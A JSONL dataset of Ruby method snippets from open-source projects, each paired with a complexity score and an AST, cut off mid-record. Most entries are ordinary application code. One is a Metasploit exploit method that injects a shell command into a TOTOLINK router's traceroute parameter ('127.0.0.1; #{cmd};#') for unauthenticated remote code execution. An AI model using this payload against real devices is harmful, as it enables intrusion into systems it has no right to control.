{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/work_items/work_items_finder.rb","start_line":161,"raw_source":"def ancestor_group\n      include_ancestors? ? params.group.root_ancestor : params.group\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ancestor_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_ancestors?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"group\"]},\"root_ancestor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"group\"]}]}]}","id":"a46fb0df-3eee-43a3-a0e8-fa60ae3c0155"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/tag_filter.rb","start_line":62,"raw_source":"def trending_scope(value)\n    case value\n    when 'allowed'\n      TagTrend.allowed\n    else\n      TagTrend.all\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"trending_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"allowed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagTrend\"]},\"allowed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagTrend\"]},\"all\"]}]}]}","id":"f4fc50e0-cf0a-42ec-a270-127d877dea95"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_method.rb","start_line":68,"raw_source":"def data_for_expression\n    raise \"method is not an expression\" if location != \"expression\"\n\n    YAML.load(data)\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"data_for_expression\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"location\"]},\"!=\",{\"type\":\"str\",\"children\":[\"expression\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"method is not an expression\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load\",{\"type\":\"send\",\"children\":[null,\"data\"]}]}]}]}","id":"fde246ad-6d64-422e-b41e-a14ac91e1786"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/yaml_parser/parser.rb","start_line":40,"raw_source":"def config_build(config, indent: 0, root: false)\n          sb = SectionBodyBuilder.new(indent, root: root)\n          config.each do |c|\n            if (lc = c.delete('label'))\n              sb.add_section(label_build(lc, indent: indent))\n            end\n\n            if (sc = c.delete('source'))\n              sb.add_section(source_build(sc, indent: indent))\n            end\n\n            if (fc = c.delete('filter'))\n              sb.add_section(filter_build(fc, indent: indent))\n            end\n\n            if (mc = c.delete('match'))\n              sb.add_section(match_build(mc, indent: indent))\n            end\n\n            if (wc = c.delete('worker'))\n              sb.add_section(worker_build(wc, indent: indent))\n            end\n\n            included_sections_build(c, sb, indent: indent)\n          end\n\n          sb\n        end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"kwoptarg\",\"children\":[\"indent\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"root\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionBodyBuilder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"indent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"lvar\",\"children\":[\"root\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"delete\",{\"type\":\"str\",\"children\":[\"label\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sb\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"label_build\",{\"type\":\"lvar\",\"children\":[\"lc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"delete\",{\"type\":\"str\",\"children\":[\"source\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sb\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"source_build\",{\"type\":\"lvar\",\"children\":[\"sc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"delete\",{\"type\":\"str\",\"children\":[\"filter\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sb\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"filter_build\",{\"type\":\"lvar\",\"children\":[\"fc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"delete\",{\"type\":\"str\",\"children\":[\"match\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sb\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"match_build\",{\"type\":\"lvar\",\"children\":[\"mc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"delete\",{\"type\":\"str\",\"children\":[\"worker\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sb\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"worker_build\",{\"type\":\"lvar\",\"children\":[\"wc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"included_sections_build\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"sb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"sb\"]}]}]}","id":"cae1cc96-dc20-4dd3-9037-36c5f0f6e5b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/totolink_unauth_rce_cve_2023_30013.rb","start_line":94,"raw_source":"def execute_command(cmd, _opts = {})\n    num = rand(1..500)\n    return send_request_cgi({\n      'method' => 'POST',\n      'ctype' => 'application/x-www-form-urlencoded',\n      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),\n      'keep_cookies' => true,\n      'data' => \"{\\\"command\\\":\\\"127.0.0.1; #{cmd};#\\\",\\\"num\\\":\\\"#{num}\\\",\\\"topicurl\\\":\\\"setTracerouteCfg\\\"}\"\n    })\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[500]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"cgi-bin\"]},{\"type\":\"str\",\"children\":[\"cstecgi.cgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\"command\\\":\\\"127.0.0.1; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\";#\\\",\\\"num\\\":\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]}]},{\"type\":\"str\",\"children\":[\"\\\",\\\"topicurl\\\":\\\"setTracerouteCfg\\\"}\"]}]}]}]}]}]}]}]}","id":"aa17b423-4325-48b6-a6cb-6d8d3400b741"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/support/rack_parsing_override.rb","start_line":35,"raw_source":"def self.permitted_caller?\n      caller_locations.any? do |loc|\n        # Our parser calls Rack's to prepopulate caches\n        loc.path.end_with?(\"lib/action_dispatch/http/request.rb\") && loc.base_label == \"request_parameters_list\" ||\n          # and as a fallback for older Rack versions\n          loc.path.end_with?(\"lib/action_dispatch/http/request.rb\") && loc.base_label == \"fallback_request_parameters\" ||\n          # This specifically tests that a \"pure\" Rack middleware\n          # doesn't interfere with our parsing\n          (loc.path.end_with?(\"test/dispatch/request/query_string_parsing_test.rb\") && loc.base_label == \"populate_rack_cache\") ||\n          # Rack::MethodOverride obviously uses Rack's parsing, and\n          # that's fine: it's looking for a simple top-level key.\n          # Checking for a specific internal method is fragile, but we\n          # don't want to ignore any app that happens to have\n          # MethodOverride on its call stack!\n          (loc.path.end_with?(\"lib/rack/method_override.rb\") && loc.base_label == \"method_override_param\")\n      end\n    end","complexity_score":36.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"permitted_caller?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller_locations\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loc\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"lib/action_dispatch/http/request.rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"base_label\"]},\"==\",{\"type\":\"str\",\"children\":[\"request_parameters_list\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"lib/action_dispatch/http/request.rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"base_label\"]},\"==\",{\"type\":\"str\",\"children\":[\"fallback_request_parameters\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"test/dispatch/request/query_string_parsing_test.rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"base_label\"]},\"==\",{\"type\":\"str\",\"children\":[\"populate_rack_cache\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"lib/rack/method_override.rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"base_label\"]},\"==\",{\"type\":\"str\",\"children\":[\"method_override_param\"]}]}]}]}]}]}]}","id":"844610c3-b09e-4b72-ba83-ca11a37e551c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/java_ws_double_quote.rb","start_line":222,"raw_source":"def process_options(cli, request, target)\n    print_status(\"Responding to WebDAV \\\"OPTIONS #{request.uri}\\\" request from #{cli.peerhost}:#{cli.peerport}\")\n    headers = {\n      # 'DASL'   => '<DAV:sql>',\n      # 'DAV'    => '1, 2',\n      'Allow' => 'OPTIONS, GET, PROPFIND',\n      'Public' => 'OPTIONS, GET, PROPFIND'\n    }\n    send_response(cli, '', headers)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Responding to WebDAV \\\"OPTIONS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"\\\" request from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Allow\"]},{\"type\":\"str\",\"children\":[\"OPTIONS, GET, PROPFIND\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Public\"]},{\"type\":\"str\",\"children\":[\"OPTIONS, GET, PROPFIND\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}","id":"796d7df9-d9aa-447e-a4aa-44ccef7f0b05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access_snippet.rb","start_line":55,"raw_source":"def check_valid_actor!\n      # TODO: Investigate if expanding actor/authentication types are needed.\n      # https://gitlab.com/gitlab-org/gitlab/issues/202190\n      if actor && !allowed_actor?\n        raise ForbiddenError, error_message(:authentication_mechanism)\n      end\n\n      super\n    end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_valid_actor!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_actor?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ForbiddenError\"]},{\"type\":\"send\",\"children\":[null,\"error_message\",{\"type\":\"sym\",\"children\":[\"authentication_mechanism\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e2142d88-4b7f-4a3a-9fb2-a6acd8abb618"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/strategies/boolean_list.rb","start_line":41,"raw_source":"def valid_values!\n      filter.values &= allowed_values.map { |_, v| v.to_s }\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_values!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"values\"]},\"&\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]}]}]}]}","id":"4303e031-1a32-4fb6-8f7d-e47ab92f08dd"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/widgets_controller.rb","start_line":4,"raw_source":"def ensure_location_is_supported\n    countries = @web_widget.inbox.account.custom_attributes['allowed_countries']\n    return if countries.blank?\n\n    geocoder_result = IpLookupService.new.perform(request.remote_ip)\n    return unless geocoder_result\n\n    country_enabled = countries.include?(geocoder_result.country_code)\n    render json: { error: 'Location is not supported' }, status: :unauthorized unless country_enabled\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_location_is_supported\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"countries\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@web_widget\"]},\"inbox\"]},\"account\"]},\"custom_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"allowed_countries\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"countries\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"geocoder_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IpLookupService\"]},\"new\"]},\"perform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"geocoder_result\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"country_enabled\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"countries\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"geocoder_result\"]},\"country_code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"country_enabled\"]},null,{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Location is not supported\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]}]}","id":"d5330152-4953-4acf-ba21-a034609d008c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/base.rb","start_line":157,"raw_source":"def result_key\n        \"result.#{type}.#{name}\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"result_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"result.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}","id":"5a2e198d-f558-4929-b403-5c2a3fb166c1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/member_mailer.rb","start_line":46,"raw_source":"def added_project(current_user, member, message)\n    alter_project(current_user,\n                  member,\n                  in_member_locale(member) { I18n.t(:\"mail_member_added_project.subject\", project: member.project.name) },\n                  message)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"added_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"member\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"alter_project\",{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_member_locale\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"mail_member_added_project.subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"project\"]},\"name\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"c5e5e6f1-0497-4997-9c30-2eafd2799e40"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/work_package_meetings_tab_controller.rb","start_line":90,"raw_source":"def refresh_form\n    @meeting_agenda_item = MeetingAgendaItem.new(\n      meeting: Meeting.find(params[:meeting_agenda_item][:meeting_id]),\n      notes: params[:meeting_agenda_item][:notes]\n    )\n\n    call = MeetingAgendaItems::SetAttributesService.new(\n      user: current_user,\n      model: @meeting_agenda_item,\n      contract_class: EmptyContract\n    ).call\n\n    meeting_agenda_item = call.result\n\n    update_via_turbo_stream(\n      component: WorkPackageMeetingsTab::AddWorkPackageToMeetingFormComponent.new(\n        work_package: @work_package,\n        meeting_agenda_item: meeting_agenda_item\n      )\n    )\n\n    respond_with_turbo_streams\n  end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@meeting_agenda_item\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MeetingAgendaItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meeting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Meeting\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"meeting_agenda_item\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"meeting_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"meeting_agenda_item\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"notes\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MeetingAgendaItems\"]},\"SetAttributesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[null,\"EmptyContract\"]}]}]}]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"meeting_agenda_item\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"update_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageMeetingsTab\"]},\"AddWorkPackageToMeetingFormComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meeting_agenda_item\"]},{\"type\":\"lvar\",\"children\":[\"meeting_agenda_item\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]}","id":"d348d3d9-a632-4b09-b50e-9e71ca339e9d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/upload_symbols_to_crashlytics.rb","start_line":56,"raw_source":"def self.upload_dsym(params, path)\n        UI.message(\"Uploading '#{path}'...\")\n        command = []\n        command << File.expand_path(params[:binary_path]).shellescape\n        if params[:debug]\n          command << \"-d\"\n        end\n        if params[:app_id]\n          command << \"-ai #{params[:app_id].shellescape}\"\n        elsif params[:gsp_path]\n          command << \"-gsp #{params[:gsp_path].shellescape}\"\n        elsif params[:api_token]\n          command << \"-a #{params[:api_token]}\"\n        end\n        command << \"-p #{params[:platform] == 'appletvos' ? 'tvos' : params[:platform]}\"\n        command << File.expand_path(path).shellescape\n        begin\n          command_to_execute = command.join(\" \")\n          UI.verbose(\"upload_dsym using command: #{command_to_execute}\")\n          Actions.sh(command_to_execute, log: params[:debug])\n        rescue => ex\n          UI.error(ex.to_s) # it fails, however we don't want to fail everything just for this\n        end\n      end","complexity_score":48.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"upload_dsym\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading 